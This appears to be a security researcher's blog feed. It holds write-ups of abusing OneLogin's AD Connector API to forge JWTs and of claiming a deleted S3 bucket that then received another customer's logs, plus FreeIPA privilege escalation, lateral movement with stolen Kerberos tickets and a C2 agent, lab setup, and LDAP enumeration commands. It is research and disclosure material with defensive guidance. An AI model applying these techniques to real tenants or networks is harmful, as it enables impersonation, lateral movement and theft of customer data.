n0pe-sled

OneLogin, Many Issues: How I Pivoted from a Trial Tenant to Compromising Customer Signing Keys

Tue, 10 Jun 2025 00:00:00 +0000

What is OneLogin?

OneLogin markets themselves as a “Market-Leading Identity and Access Management Solution”. Essentially, OneLogin is an identity solution that provides single sign-on (SSO), multi-factor authentication (MFA), and user-provisioning for cloud and on-premise applications. The product provides directory integrations with existing identity management systems like Active Directory, AWS Identity Center, Azure, GSuite, etc. For the purposes of this post, we will be looking at the Active Directory integration.

Fortunately, as a security researcher, there are two factors at play that aid our research efforts:

OneLogin has a great free trial program that gives potential customer’s a tenant to review features and functionality of the product
OneLogin Active Directory integration utilizes .NET binaries when integrating an on-premises Active Directory. This enables much faster disassembly and analysis with decompilation tools like dotPeek

Other Research

Before we get any further, I wanted to highlight Adam Chester’s (@xpn) public research on Identity Providers (IdPs), including OneLogin. You can find his amazing blog post here: https://blog.xpnsec.com/identity-providers-redteamers/.

A lot of the research done in this blog post builds on his excellent research. so if you haven’t read his post yet I would encourage you to check it out before continuing.

Lab Setup

The diagram above details the lab that I configured for this research. I was able to request a OneLogin trial tenant for a domain I control (i.e., inspired-sec.us) directly from OneLogin: https://www.onelogin.com/free-trial. Once I created a trial tenant, I deployed a small domain with one user and two hosts inside my Ludus lab. This small domain included one domain controller (DC) running the OneLogin AD Connect service, ConnectorService.exe, and a single Windows 11 workstation.

Setting up the AD Connector for OneLogin is relatively simple; I just followed the instructions posted here: https://onelogin.service-now.com/support?id=kb_article&sys_id=d02f849d971e1650c90c3b0e6253af88&kb_category=ff57e170db185340d5505eea4b961929

Essentially, you download the AD Connector installer and install it with the provided token. After installation completes, AD Connector will default to syncing all users in the current domain. From this point, I decided to add an application that federates authentication to an AWS account, but that isn’t necessary.

Local Analysis of the OneLogin AD Connector

Installation makes a few changes on the host that we can capture with the Sysinternals tool Procmon.exe. Of these changes, I found the following worth investigating:

Application files are written to C:\\Program Files (x86)\\OneLogin, Inc\\OneLogin Active Directory Connector\\
Logs are written to C:\\ProgramData\\OneLogin, Inc\\logs\\
A service named OneLogin Active Directory Connector is created that executes ConnectorService.exe
Registry keys are written to HKEY_LOCAL_MACHINE\\SOFTWARE\\WOW6432Node\\OneLogin, Inc.\\Active Directory Connector

Based on Adam’s previous research, you can use that directory token to obtain more credentials from OneLogins API endpoints. OneLogin exposes a configuration endpoint (i.e., https://api.onelogin.com/api/adc/v4/configuration) that returns the configuration of a given directory. Adam Chester’s (@xpn) public research shows us how to interact with this endpoint. A HTTP GET api call is made to the configuration endpoint with the following URL parameters:

version — Set to the agent version
token — Set to Directory Token taken from registry
mux — Set to 1
directory_token — Directory Token taken from registry
directory_id — Directory ID of the OneLogin tenant
adcVersion — Also set to the agent version

I was able to pull the following information from my trial tenant:

Reviewing this response, there are a number of things that stand out:

Another API key is exposed under <api_key>
AWS AKIA User credentials are returned in cleartext
The SSO_IDP configuration is returned with a base64 <signing_key>

Wait… are those real credentials?

It looks like there are three different credentials in that API response, so let’s go through them one by one.

API Key

The API key exposed in this API call is separate from the directory token and can be used to obtain more information about the OneLogin directory that you may find useful in the future. For our purposes, we will use another endpoint Adam documented in his research: https://api.onelogin.com/api/adc/v4/users .

A HTTP GET api call is made to the users endpoint with the following URL parameters:

api_key — API key returned from the configuration endpoint mentioned above
directory_id — Set to Directory Token taken from registry
directory_token — Directory Token taken from registry
adc_version — Also set to the agent version

It should return a list of users in the directory.

In my test tenant, there is only one synced user (i.e., onelogin); however in most environments, this would contain all registered users synced to the OneLogin directory.

Signing Key

Reviewing the response from the configuration endpoint, it seems to be returning the SSO IdP configuration for the directory integration:

This configuration includes a base64 value labeled signing_key. If we can reverse engineer the ConnectorService.exe application to identify how it crafts JWT tokens, we can potentially craft our own matching JWT tokens. Good thing ConnectorService.exe is a .NET binary. We can disassemble it to code and identify exactly how it is crafting JWT tokens.

Based on the disassembled code, it was easy to identify that the fields the JWT token requires are as follows:

exp: (Token Expiration)
iss: (Token Issuer) In this case, the directory the token was crafted for
aud: (Audience) the audience for this token is the OneLogin account number
sub: (Subject) this is a custom identifier for each user synced with OneLogin

The OneLogin account id and the directory id are both returned by the previous API call to the /configuration endpoint. The subject value is returned by the /users endpoint as the external id. I built a short python script to compile valid JWT tokens. This script can be found on github here: https://github.com/n0pe-sled/OneLogin-JWTGen

With a valid JWT, all that is left is to authenticate to the SSO consumer URL exposed in the SSO IdP configuration. Copy the encoded JWT into the following request and then follow all the redirections until you are authenticated to the SSO portal as the impersonated user.

POST /trust/onelogin-sso/jwt?account_id=<target account id> HTTP/2

Host: <Onelogin Tenant Url>

User-Agent: ADC 5.1.8

Content-Type: application/x-www-from-urlencoded

token=<Encoded Token>

AWS Access Key

When I see AWS AKIA credentials, I can confirm they are valid with: aws sts get-caller-identity

Okay, so those credentials are valid. The next reasonable thing to check is if we can read the logs in S3:\\onelogin-adc-logs-production. Trying to list this bucket fails and the error in the response says the bucket doesn’t exist:

An error occurred (NoSuchBucket) when calling the ListObjects operation: The specified bucket does not exist

After realizing that S3 bucket was available, I quickly claimed it on a personal AWS account. I then opened the bucket permissions to allow the adc-logs-put-production user write access.

Compromising another OneLogin Customer

In mid-February, I began receiving log files from another customer’s production OneLogin tenant in the S3:\\onelogin-adc-logs-production S3 bucket. These adc.log files contained detailed information about the customer’s environment, including LDAP properties for all users synced with OneLogin and a valid directory token.

OneLogin has not communicated why these logs were being sent to my bucket or how widespread this issue was. However, using the directory token and information from the adc.log files, I was able to:

Obtain a list of currently enrolled users in the customer’s tenant
Retrieve the valid signing key for the customer’s OneLogin Tenant
Craft valid JWT tokens for the customer’s OneLogin Tenant for any of the previously identified users

At this point, I had the ability to impersonate arbitrary users for the customer’s OneLogin tenant and access any applications assigned to the respective user. At this point, I escalated my vulnerability disclosure to OneLogin.

This customer has been informed and I have been working with OneLogin to disclose the vulnerabilities discussed in this post.

Defensive Guidance

Identity federation platforms like OneLogin should be classified and protected as Tier 0 assets within your environment. These systems are high-value targets; if compromised, they can provide attackers with broad and potentially unrestricted access across your organization.

To reduce risk exposure, implement strict network segmentation and access controls. Only explicitly authorized hosts should be permitted to communicate with OneLogin API endpoints or any systems running the AD Connect service for directory synchronization.

As of the time of this writing, OneLogin has stated that it has addressed previously disclosed vulnerabilities by introducing encryption mechanisms that affect API interactions. However, these mitigations have not yet been independently validated.

Disclosure Summary and Timeline

December 9, 2024 — Disclosure submitted through https://support.quest.com/contact-us/report-security-vulnerability

December 10, 2024 — Initial disclosure acknowledged

December 11, 2024 — Asked for access to ticketing platform to track ticket status

December 11, 2024 — Support instructed me to follow the ticket’s status through my OneLogin account manager

December 11, 2024 — Reiterated that I am not a customer nor do I have an account manager

January 8, 2025 — I requested a status update

January 13, 2025 — OneLogin informed me that they closed the ticket and created a Jira ticket with a potential fix that I could track through an account manager

January 27, 2025 — I identified a OneLogin customer support phone line and attempted to obtain information about the security report, including progress toward implementing a fix. I also reopened the ticket and OneLogin informed me that I would receive an update via email

January 29, 2025 — Having not received an update, I asked again via email and reiterated that I am not a customer and do not have access to an account manager

January 29, 2025 — OneLogin replied, stating that all fixed tickets are noted in release notes of each new release, and advised me to monitor new releases for my ticket number to confirm if it has been fixed

February 7, 2025 — The case closed again without additional updates

February 13, 2025 — OneLogin customer data was uploaded to S3:\\onelogin-adc-logs-production [issue occurred independently]

February 25, 2025 — After previous channels proved ineffective, I contacted a OneLogin employee directly through LinkedIn requesting escalation of my report to the security team. Report resubmitted

February 25, 2025 — The OneLogin security team acknowledged my report

February 26, 2025 — Secure file share established to transfer log files and tools used to generate JWT tokens

February 27, 2025 — Received direct phone call from security team regarding the scope of leaked customer data and to arrange transfer of S3 bucket ownership

February 28, 2025 — Video call with security team demonstrating vulnerability and transferring ownership of the S3 bucket to OneLogin

March 17, 2025 — Followed up with OneLogin about the vulnerability and AWS keys that had not been rotated. Security team confirmed they were working on a permanent fix to remove vulnerable functionality entirely rather than just rotating the AWS keys

April 17, 2025 — Followed up with OneLogin requesting current status of the fix

April 28, 2025 — OneLogin responded stating they missed my previous inquiry and committed to providing information shortly

May 14, 2025 — Followed up with OneLogin after receiving no response to previous update request. OneLogin responded stating they would release a fix that week

May 19, 2025 — Followed up with OneLogin requesting trial tenant reactivation to verify the new release resolved the issue

May 21, 2025 — OneLogin responded stating they would investigate and follow up

June 2, 2025 — After no further response from OneLogin, I informed them of my intent to publish this blog post. Reiterated willingness to perform validation testing and requested additional details about the deployed fix

June 9, 2025 — OneLogin provided an update stating the vulnerability has been remediated. OneLogin confirmed they addressed the cloud information issues within the vulnerable API and implemented encryption components that affect API access

Attacking FreeIPA — Part IV: CVE-2020–10747

Sun, 28 Jun 2020 00:00:00 +0000

I was informed on Wednesday June 17th 2020 that CVE 2020–10747 was revoked after it had been initially issued on June 15th 2020. Red Hat issued this statement regarding the security boundary for FreeIPA and as justification for the revocation.

Roles are used to classify permitted actions but are not used as a tool to implement privilege separation or to protect from privilege escalation. As a result, using privileges to gain additional privileges is not something considered unexpected. This bug has been rejected as a security flaw. Users with privileges should be reserved to trusted persons.

MITRE defines privilege escalation as follows:

The adversary is trying to gain higher-level permissions.

Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives.

Utilizing one permission to obtain another higher-level permission or privilege, is ultimately an example of privilege escalation.

RedHat has retained the fixed pull request despite the CVE being revoked and the vulnerability being reclassified as “CLOSED NOTABUG” on https://bugzilla.redhat.com/show_bug.cgi?id=1810160.

This post is the final part in a series about my experiences attacking FreeIPA. In Part I of this series, we reviewed some of the background and underlying technologies utilized by FreeIPA. We also discussed several authentication mechanisms, and forms of credential material, specifically how to identify, parse, and re-use credentials as an attacker. In Part II of this series we discussed the various different types of objects inside of a FreeIPA environment, and a little bit about their significance, as well as how these objects can be enumerated to obtain situational awareness. In Part III of this series we conducted lateral movement inside of a FreeIPA environment to accomplish two red team objectives.

If you haven’t read the first three parts of the series you can find them here:

Introduction

During an assessment of a cloud environment managed through FreeIPA our team was able to uncover a vulnerability in how FreeIPA integrates with existing technologies. This vulnerability allowed for our team to escalate to the “root” account and obtain UID 0. It also allowed us to bypass all existing HBAC rulesets and conduct lateral movement throughout the environment. This vulnerability was reported to RedHat through their vulnerability disclosure program and CVE 2020–10747 was assigned.

Vulnerability Overview

To explain this vulnerability I have created a small lab environment replicating the assessment environment as closely as possible. Inside our lab we have recently compromised an account with some permissions inside the environment, but lack the cleartext credentials needed to utilize sudo and escalate to root.

Specifically compromised account had access to the “User Administrators” privilege.

Permissions of the User Administrators privilege

With this privilege comes a lot of different power to affect users inside the environment. Using this privilege we can make a new user inside the FreeIPA domain named root.

Creating a user named root

Once the user is created in the domain we can obtain a ticket for the account with kinit.

Obtaining a ticket for root@WESTEROS.LOCAL

Now we can attempt to SSH using our newly created root domain account.

SSH utilizing the root domain account

As shown this drops the user into the local root account! So simply by creating a domain user for a local user we were able to authenticate using the root@WESTEROS.LOCAL account and obtain the user context of the local root account.

But how does this account behave when an HBAC rule prevent access to a host. To test this theory let’s make another account named lowpriv and compare the two accounts privileges. Then we will attempt lateral movement with both accounts.

Making a lowpriv account

Now let’s compare lowpriv@WESTEROS.LOCAL and root@WESTEROS.LOCAL.

Both accounts are not a member of any HBAC Rules or privileged groups

Now that we confirmed neither account is a member of any HBAC rules, or privileged groups let’s attempt to laterally move with each account.

Authentication Fails with lowpriv@WESTEROS.LOCAL

Authentication both succeeds and returns a root shell

Conclusion

This post is the culmination of my FreeIPA series. Hopefully this series has provided some value to red teamers, offensive engineers, penetration testers and blue teamers, detection engineers, system administrators. Understanding the core functionality, how it can be abused, and what the implications of the configuration decisions that we make, is critical in designing secure systems.

The bug reporting process for this vulnerability was ultimately not as clean and efficient as it could have been. Despite CVE 2020–10747 being revoked, I am still grateful that a patch has been issued.

If you are an administrator of a FreeIPA or IPA environment. It is critical to understand RedHat’s position on the role of Privileges and Permissions available in FreeIPA. As they stated:

“Roles are used to classify permitted actions but are not used as a tool to implement privilege separation or to protect from privilege escalation. As a result, using privileges to gain additional privileges is not something considered unexpected.”

Ensure that all users inside your environment that are assigned a Role, Privilege, or Permission are treated as critical assets, and monitor these individual accounts heavily as it is not unexpected that they can be abused to obtain additional privileges inside the environment.

DISCLOSURE TIMELINE

As committed as SpecterOps is to transparency, we acknowledge the speed at which attackers adopt new offensive techniques once they are made public. This is why prior to publicization of a new bug or offensive technique, we regularly inform the respective vendor of the issue, supply ample time to mitigate the issue, and notify select, trusted vendors in order to ensure that detections can be delivered to their customers as quickly as possible.

March 3rd, 2020: Initial Disclosure.
March 3rd, 2020: RedHat security team acknowledged the disclosure and began the process to validate the vulnerability.
March 18th, 2020: Update requested to confirm validation of the vulnerability.
March 18th, 2020: RedHat confirms that they are still investigating the vulnerability and will report back when they have completed the validation.
April 1st, 2020: RedHat validates the vulnerability, and start investigating solutions to the problem.
May 5th, 2020: Update requested to see the progress the RedHat team is making on a potential fix.
May 6th, 2020: RedHat responds that the issue is more difficult to remedy then expected. The SSH team does not consider this as a bug, but an expected feature, and there are ongoing discussions about the best way to solve the problem.
May 22nd, 2020: RedHat reports CVE-2020–10747 has been assigned to a flaw
May 26th, 2020: Disembargo date of June 15th, 2020 is agreed upon
June 15th, 2020: Initial post released and CVE 2020–10747 issued
June 17th, 2020: RedHat revokes CVE 2020–10747
June 20th, 2020: Update requested as to the reason for the revocation
June 22nd, 2020: RedHat responds that they are working to clarify the documentation of what a security boundary consists of in FreeIPA
June 23rd, 2020: Update requested to provide an official statement from Red Hat on what the security boundary is in order to update this post and the resulting documentation around the vulnerability.
June 26th, 2020: RedHat updates the bug documentation to reclassify the vulnerability as “CLOSED NOTABUG” and leaves a comment with their official statement

Attacking FreeIPA — Part III: Finding A Path

Mon, 01 Jun 2020 00:00:00 +0000

This post is Part III in a series about my experiences attacking FreeIPA. In Part I of this series, we reviewed some of the background and underlying technologies utilized by FreeIPA. We also discussed several authentication mechanisms, and forms of credential material, specifically how to identify, parse, and re-use credentials as an attacker. In Part II of this series we discussed the various different types of objects inside of a FreeIPA environment, and a little bit about their significance, as well as how these objects can be enumerated to obtain situational awareness.

If you haven’t read the first two parts of the series you can find them here:

Lab Environment

Before we dive into our attack path, let’s briefly review the lab environment we will be operating in. If you want to follow along I have released a post detailing how you can configure your own FreeIPA lab to follow along with this series, or even conduct your own research. You can find that post here:

Building a FreeIPA Lab

Diagram Detailing the Layout of the FreeIPA Lab Environment

Once the lab is configured and created we can get started. Our starting point in this exercise will be ceded access to a compromised web server inside the managed FreeIPA environment. This access will be ceded through the Apfell C2 platform utilizing the Poseidon agent. The goal is to ultimately obtain an admin credential for the domain, and exfiltrate sensitive data from the SQL Database.

Attack Path

Given our ceded access we now need to start conducting some basic enumeration. For the purpose of this post I will only be focusing on the FreeIPA aspects of host enumeration, but inside of a real environment you will likely need to perform more comprehensive enumeration than shown in this post.

So with our initial access my first step is to identify which user context I am currently in, and what permissions that user context holds.

After obtaining access to the compromised web server, we identified that we are currently inside of the “nginxadmin” user context. The ipa management utility is also present at its default location: /usr/bin/ipa and finally, there are some tickets stored in /tmp/ one of which is readable by our user. Let’s check its validity and apply it to our Poseidon callback.

Identifying a valid kerberos CCACHE Ticket, and applying it to this session.

With this ticket imported into our agent, we can begin to enumerate the permissions associated with the “nginxadmin” account.

Utilizing IPA administrative tooling to review the user information for nginxadmin

Based on the output above we can identify both a Sudo Rule and HBAC Rule that are applied to this account. Sudo Rules can be used to restrict or delegate the ability to execute commands as sudo on hosts enrolled in the domain. HBAC Rules are used to delegate access to specific resources. Let’s grab more information about both the Sudo Rule and the HBAC Rule.

HBACRule delegating host access

Sudo Rule delegating sudo access

Reviewing the “Web-Admin” HBAC Rule shows us that “nginxadmin” has access to all services on both “mysql.westeros.local” and “web.westeros.local”. This means that we should be able to utilize SSH and SCP with a valid TGT for “nginxadmin”.

The “Web-Sudo” Sudo Rule shows us that “nginxadmin” has the ability to run sudo as any user or group and for any command. This rule is applied to both “mysql.westeros.local”, and “web.westeros.local”.

Between the HBAC Rule and the Sudo Rule “nginxadmin” should be able to both authenticate to “mysql.westeros.local” and execute commands as root via sudo.

Copying Poseidon payload to mysql.westeros.local via scp, then executing it

New agent check-in for mysql.westeros.local demonstrating lateral movement

Access to mysql.westeros.local accomplishes the objective to obtain access to a sensitive database. But let’s attempt to extend access to control of the FreeIPA domain. A quick listing of /tmp/ identifies two kerberos CCACHE TGT’s. We can attempt to enumerate these tickets with our sudo privileges.

Kerberos CCACHE Tickets are stored in /tmp/ by default

Klist can be used to list the principals inside of specific tickets or in the current session

In FreeIPA the “admin” account is roughly equivalent to a “Domain Admin” account in traditional active directory. Listing its permissions and user attributes show that it is a member of the “admins” and “trust admins” groups as well as several Sudo Rules and HBAC Rulesets.

User properties for the “admin” account in FreeIPA

With sudo privileges, we can obtain access to this account by creating a copy of the existing ticket, and modifying the permissions so our current user context can utilize it. It is also possible to utilize sudo to establish another agent in the root context, removing the requirement to copy or modify permissions of the ticket.

Spawning a new agent as root

Setting the KRB5CCNAME environment variable to instruct kerberos to utilize the specified ticket

With these new permissions it should be possible to move laterally to any host inside the environment. Let’s test out this theory by obtaining an agent on “vault.westeros.local”.

Copying and executing an agent via scp and ssh

New agent check-in from vault.westeros.local

Conclusion

Despite this lab environment being a small and slightly contrived example of production FreeIPA environment, it effectively demonstrates how to enumerate permissions and utilize those permissions to conduct lateral movement. Hopefully by now we have a slightly better understanding of how to apply some of our prior knowledge about FreeIPA in an offensive context.

In the final post of this series I will aim to cover the following:

An overview of some unique scenarios that attackers can abuse inside of a FreeIPA environment.

References

Defining Host-Based Access control Rules, Fedora, https://docs.fedoraproject.org/en-US/Fedora/15/html/FreeIPA_Guide/hbac-rules.html
Defining Sudo-Rules, Fedora, https://docs.fedoraproject.org/en-US/Fedora/18/html/FreeIPA_Guide/defining-sudorules.html
Docker, FreeIPA, https://www.freeipa.org/page/Docker
FreeIPA Container, Github, https://github.com/freeipa/freeipa-container
FreeIPA Server, DockerHub, https://hub.docker.com/r/freeipa/freeipa-server/
MIT Kerberos Documentation, MIT, https://web.mit.edu/kerberos/krb5-latest/doc/

Building a FreeIPA Lab

Thu, 14 May 2020 00:00:00 +0000

Recently I started a series of blog posts detailing some of the lessons I learned about FreeIPA, how it works, and my methodology behind attacking it. In this post I wanted to document how I built a lab to conduct my research, because the process was a huge learning experience for me. If you want to checkout the other posts from that series I will link them below:

The first post details how authentication works inside of FreeIPA, and how an adversary may abuse it inside of a production environment.
The second post details how various objects and structures in FreeIPA work as well as how they interact with each other. It also covers how an adversary may enumerate and identify attack paths based on these objects.

Having a lab environment provides a safe space to deploy, learn, and ultimately destroy hosts without the consequences that would normally come from researching in production. The process to build and deploy FreeIPA is not simple, and there are a lot of roadblocks that I hit along the way. I am creating this post to document the struggles I encountered, and how I eventually solved them. Hopefully this helps others who have run into issues creating a stable FreeIPA lab environment.

Before we get into the actual lab setup process let me document my current system configuration. This small detail may not seem important but the setup does vary based on the host os and virtualization platform. I am building this lab on a host running MacOS Catalina 10.15.4, and Docker Desktop 2.3.0.2 (Engine 19.03.8).

Okay so let’s get started. Red Hat maintains several docker images prebuilt for both FreeIPA servers, and clients available on dockerhub. They also include some documentation on getting everything running. However, for this tutorial I will be using a forked version of the existing images due to the existing images lacking SSH.

First let’s grab and build the containers from Github.

git clone https://github.com/n0pe-sled/freeipa-container.git
cd freeipa-container
docker build -t freeipa-server .

Once the container is built we need to create a docker managed volume to store all the custom data associated with our FreeIPA Server. We can create this volume with the following command:

docker volume create --name ipa
docker volume inspect ipa

Next we need to create a network inside of Docker for the FreeIPA range to utilize:

docker network create ipanet
docker inspect ipanet

Now we should be able to create our FreeIPA Server using the pulled image, and our docker volume:

sudo docker run --name ipa.westeros.local -ti -h ipa.westeros.local --sysctl net.ipv6.conf.all.disable_ipv6=0 -v /sys/fs/cgroup:/sys/fs/cgroup:ro --mount source=ipa,target=/data --network ipanet --publish 127.0.0.1:443:443 freeipa-server:latest

If everything works you should see output fairly similar to the following:

FreeIPA Server Installation

Now that the container is running we need to configure the actual server. Here is how I responded to the installation prompts:

Do you want to configure integrated DNS (BIND)? : noEnter the fully qualified domain name of the computer
on which you're setting up server software. Using the form
<hostname>.<domainname>
Example: master.example.com.
Server host name [ipa.westeros.local]: ipa.westeros.localPlease confirm the domain name [westeros.local]: westeros.localPlease provide a realm name [WESTEROS.LOCAL]: WESTEROS.LOCAL
Certain directory server operations require an administrative user.This user is referred to as the Directory Manager and has full access to the Directory for system management tasks and will be added to theinstance of directory server created for IPA.
The password must be at least 8 characters long.Directory Manager password: <password>
Password (confirm): <password>The IPA server requires an administrative user, named 'admin'.
This user is a regular system account used for IPA server administration.IPA admin password: <password>
Password (confirm): <password>Do you want to configure chrony with NTP server or pool address? [no]: noThe IPA Master Server will be configured with:Hostname: ipa.westeros.local
IP address(es): 172.18.0.2
Domain name: westeros.local
Realm name: WESTEROS.LOCALThe CA will be configured with:
Subject DN: CN=Certificate Authority,O=WESTEROS.LOCAL
Subject base: O=WESTEROS.LOCAL
Chaining: self-signed

Once all the prompts are completed the docker container will begin the setup process for the FreeIPA server. This may take some time so grab a coffee, stretch, or just take a break. Make sure to remember the admin passwords set above, as well as the IP Address reported under the hostname.

After the installation finishes open a new terminal window and restart the instance:

docker stop ipa.westeros.local
docker start ipa.westeros.local

Once restarted, lets begin configuring DNS. Obtain an interactive shell to ipa.westeros.local with the following docker command:

docker exec -it ipa.westeros.local bash

Inside the shell run the following to configure DNS:

ipa-dns-install --ip-address=172.18.0.2 --no-forwardersThe log file for this installation can be found in /var/log/ipaserver-install.log==============================================================================This program will setup DNS for the FreeIPA Server.
This includes:
* Configure DNS (bind)
* Configure SoftHSM (required by DNSSEC)
* Configure ipa-dnskeysyncd (required by DNSSEC)NOTE: DNSSEC zone signing is not enabled by defaultTo accept the default shown in brackets, press the Enter key.
Do you want to search for missing reverse zones? [yes]: yesThe following operations may take some minutes to complete.
Please wait until the prompt is returned.

After a few minutes it should report setup complete! Now that our server is up and running let’s verify that we can obtain a ticket for our admin user:

[root@ipa /]# kinit admin
Password for admin@WESTEROS.LOCAL:[root@ipa /]# klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: admin@WESTEROS.LOCALValid starting Expires Service principal
05/11/20 19:37:56 05/12/20 19:37:53
krbtgt/WESTEROS.LOCAL@WESTEROS.LOCAL
[root@ipa /]#

Awesome, we just built a working FreeIPA server with integrated DNS. Let’s add a client. Open a fresh terminal window and return to the FreeIPA Container code we cloned from Github earlier. Use git checkout to switch the branch to the client image, and build it using the following commands:

git checkout centos-7-client
docker build -t freeipa-client .

Once built we can create a new client for our FreeIPA domain. For each client we create, we also need to create a respective docker volume to store data associated with the container. We can do that with the following command:

docker volume create bastion

Now that the volume is created we can start creating the new client. However, before we continue take time to recall the admin password, and the ip address for the IPA server set above. Ensure that you change the following variables before running the docker command:

-e PASSWORD=<password set above>
--dns=<IPA Server IP Address>
--mount source=<name of new volume created>,target=/data

Fill in those three variables to the docker run command below to create a new client inside of the FreeIPA Domain.

sudo docker run --name bastion.westeros.local -ti -h bastion.westeros.local --sysctl net.ipv6.conf.all.disable_ipv6=0 -v /sys/fs/cgroup:/sys/fs/cgroup:ro --mount source=<name of volume created>,target=/data -e PASSWORD=<Password set earlier> --network ipanet --dns <IPA Server IP Address> --dns 1.1.1.1 freeipa-client:latest

If all goes well you should be dropped into an interactive shell! Just repeat the steps above to create new clients for your FreeIPA domain, ensuring to change the name, hostname, and volume for each one.

Finally, now that the environment is setup lets discuss how to utilize the administrative web application to manage this environment. Earlier while creating the FreeIPA server we published port 443 from the server to 127.0.0.1:443 specifically to enable this functionality. In a new terminal window the following line to the /etc/hosts file:

127.0.0.1 ipa.westeros.local

With that entry, and the IPA server docker container running we should be able to login to the admin interface through any web browser.

Hopefully this post can help serve as a guide to get more people researching this technology!

Attacking FreeIPA — Part II: Enumeration

Wed, 04 Dec 2019 00:00:00 +0000

In Part I of this series, we reviewed some of the background and underlying technologies utilized by FreeIPA. We also discussed several authentication mechanisms, and forms of credential material, specifically how to identify, parse, and re-use credentials as an attacker. If you haven’t read Part I yet, you can find it here:

https://posts.specterops.io/attacking-freeipa-part-i-authentication-77e73d837d6a

In this section of the series, we will dive into a custom lab environment to demonstrate how various objects and structures in FreeIPA work as well as how they interact with each other. We will then learn how to enumerate these structures.

Lab Environment

Before we dive in, let’s take a moment to briefly review how the lab environment was created, and its general structure.

Diagram Detailing the Layout of the FreeIPA Lab Environment

The diagram above is a general layout of the FreeIPA Lab environment I built for this series, and have been utilizing for research. The team behind FreeIPA maintains docker images for both FreeIPA servers, and clients across multiple popular operating systems. You can find these docker images on Dockerhub or Github at the links below:

All of the documentation, and setup instructions can be found on the main FreeIPA site linked below:

https://www.freeipa.org/page/Docker

Our starting point in this exercise will be ceded access to a compromised web server inside the managed FreeIPA environment. The goal is to ultimately obtain an admin credential for the domain, and ex-filtrate sensitive data from the SQL Database. Before we can dive into those objectives, let’s go through some basic objects and enumeration techniques inside of FreeIPA environments.

Hosts, Users, and Groups

Much like Windows Active Directory (AD), FreeIPA allows administrators to create hosts, and users. These hosts, and users can be sorted into containers called “Host Groups” and “User Groups” respectively. When compared to AD these groups function very similarly to Organizational Units (OU).

Host-Based Access Control Rules (HBAC-Rules), Privileges, Roles, and Sudo-Rules can be applied to any of the objects above. Don’t worry if you aren’t familiar with HBAC-Rules, Privileges, Roles, or Sudo-Rules. We will be diving into those a little later in the post.

There are multiple ways to enumerate information from the IPA server about the domain. The two methods I will attempt to cover throughout this post will be the following:

Utilizing Lightweight Directory Access Protocol (LDAP) queries against the LDAP server.
Utilizing built-in IPA management tools

With that background let’s dive into the lab and start enumerating users, hosts, user groups, and hostgroups inside of FreeIPA.

Enumeration via LDAP Queries

By default in FreeIPA, the LDAP server allows for anonymous binds, and a large swath of data is enumerable unauthenticated. However, not all of the data is enumerable unauthenticated. Data responsible for mapping security authorization controls has been explicitly protected by ACLs. The following command will retrieve all of the data available unauthenticated:

ldapsearch -x

For the rest of this post all of the ldapsearch commands will be done authenticated. In the first post of this series we detail how to identify and utilize credentials in a FreeIPA environment.

With a valid credential, we can be more specific and filter our query by setting targeted base distinguished names (DN) for each search. The following query identifies all the users in the lab environment:

ldapsearch -Y gssapi -b "cn=users,cn=compat,dc=westeros,dc=local"

LDAP response data details users inside the lab environment

We can use the same query with a slightly modified base DN to retrieve data for all the hosts in the environment:

ldapsearch -Y gssapi -b 
"cn=computers,cn=accounts,dc=westeros,dc=local"

LDAP response data details hosts inside the lab environment

Again, we can modify the base DN to retrieve each host group and user group respectively:

ldapsearch -Y gssapi -b 
"cn=hostgroups,cn=accounts,dc=westeros,dc=local"                               
--------------------------------------------------------------------
ldapsearch -Y gssapi -b "cn=groups,cn=accounts,dc=westeros,dc=local"

Enumeration via IPA administrative tools

By default hosts enrolled into a FreeIPA domain have the IPA management tooling installed as part of the enrollment process. This tooling is incredibly useful for enumeration and configuration of the environment. As we discussed above let’s review how to enumerate information about users, hosts, user groups, and host groups with the builtin IPA administrative tooling.

Unfortunately, the IPA tooling cannot be used without a valid domain credential. If you find yourself in a situation where you are lacking a valid domain credential, each host is deployed with a keytab credential for that host. This keytab can be used to obtain a valid Credential Cache(CCACHE) Ticket Granting Ticket(TGT) for the host itself.

With a valid credential and access to the ipa utility, you can use the following commands to enumerate the relevant information:

ipa user-find
ipa usergroup-find
ipa host-find
ipa host-group-find
-------------------
ipa user-show <username> --all
ipa usergroup-show <user group> --all
ipa host-find <host> --all
ipa hostgroup-show <host group> --all

HBAC-Rules

The Fedora FreeIPA documentation defines HBAC-Rules as:

Access controls, at a high level, define who has access to what. The who can be either a user or a host (the source host), and the what can be either a host (target host), service, or service group, or a combination of the three.

HBAC-Rules should be used to delegate access to specific resources. This access control can be extremely effective at mitigating lateral movement, when configured correctly. As an attacker we can use HBAC-Rules to identify which accounts have been delegated access to specific resources inside of the environment.

Let’s review how to enumerate these policies.

Enumeration via LDAP QueriesHBAC-Rules

The Fedora FreeIPA documentation defines HBAC-Rules as:

Access controls, at a high level, define who has access to what. The who can be either a user or a host (the source host), and the what can be either a host (target host), service, or service group, or a combination of the three.

Let’s review how to enumerate these policies.

Enumeration via LDAP Queries

The following command can be used to retrieve all the HBAC-Rules inside of the lab environment:

ldapsearch -Y gssapi -b "cn=hbac,dc=westeros,dc=local"

LDAP response data details HBAC-rules in the lab environment

Enumeration via IPA administrative tools

The following commands can be used to retrieve all of the HBAC-Rules inside of the lab environment.

ipa hbacrule-find
-----------------
ipa hbacrule-show <hbacrule> --all

Sudo-Rules

The Fedora FreeIPA documentation defines Sudo-Rules as:

Sudo rules are in a sense similar to access control rules: they define users who are granted access, the commands which are within the scope of the rule, and then the target hosts to which the rule applies. In FreeIPA, additional information can be configured in the rule, such as sudoers options and run-as settings, but the basic elements always define who, what (services), and where (hosts).

FreeIPA provides the ability to manage sudo permissions from one centralized source through sudo-rules. These rulesets can be used to restrict or delegate the ability to execute commands as sudo on hosts enrolled in the domain. As an attacker we can enumerate which hosts and users these rulesets are applied too, and which commands are allowed through the ruleset.

Enumeration via LDAP Queries

The following command can be used to retrieve all of the sudo-rules inside of the lab environment:

ldapsearch -Y gssapi -b "cn=sudorules,cn=sudo,dc=westeros,dc=local"

LDAP response data details a sudo-rule in the lab environment.

Enumeration via IPA administrative tools
The following commands can be used to retrieve all of the sudo-rules inside of the lab environment.

ipa sudorule-find
-----------------
ipa sudorule-show <sudorule> --all

Role-Based Access Control

The Fedora FreeIPA documentation defines role-based access control as:

